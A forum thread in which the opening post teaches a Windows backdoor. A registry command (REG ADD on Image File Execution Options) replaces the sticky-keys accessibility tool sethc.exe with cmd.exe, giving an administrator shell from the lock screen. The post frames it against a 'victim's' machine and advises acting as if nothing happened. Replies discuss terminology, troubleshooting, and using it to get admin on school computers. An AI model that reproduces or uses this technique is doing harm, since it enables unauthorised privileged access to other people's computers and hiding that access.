[-TwiiSteD-]

Hello, I found this a while back with a quick search on google. This is a simple security flaw that uses the ease of access settings on a windows machine. There is a catch however, in order to use this technique the victim's computer must be logged in. This for some people is a major setback, but honestly it isn't a very big deal. I say this because it all depends on how you use it and what you use it for.

Anyways, once you have access to the victims windows computer, open a terminal and type the code below.

Code

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

If you did this correctly you should see "operation success"
now you can walk away and act like nothing happened.. Once the computer locks or restarts select a user. On the bottom right select the ease of access tab and turn on high contrast. If you followed the steps correctly you will be displayed with a terminal that has admin privileges. There are a number of things you can do from here. But that's for you to find out yourself..

Thanks for reading. Don't forget to experiment on your own computer first. Once you try it on your own machine you can uninstall it with this code

Code

REG DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe"

[Bouzazi]

Cool trick though. I would not call it "Hacking".

[Greg8Tacos]

This will surely help out this skids trying to get admin on their school computers. Thanks for the share!

[๖ۣۜNespresso]

Cool trick though. I would not call it "Hacking".

Why not?

[SuperiorUser]

Why not?

"use a computer to gain unauthorized access to data in a system." is the definition of hacking. this is kind of just a trick its not exploiting anything :P

[el_ghofar]

i can not access command prompt via "ease access" until i restart the pc.

and i can not access command prompt via "ease access" again after a view minutes of restarting the pc.
anyone can solve this

[ItsGavinM8]

Bare in mind on most Windows 10 deployments you already need to be running as Admin to add registry entries.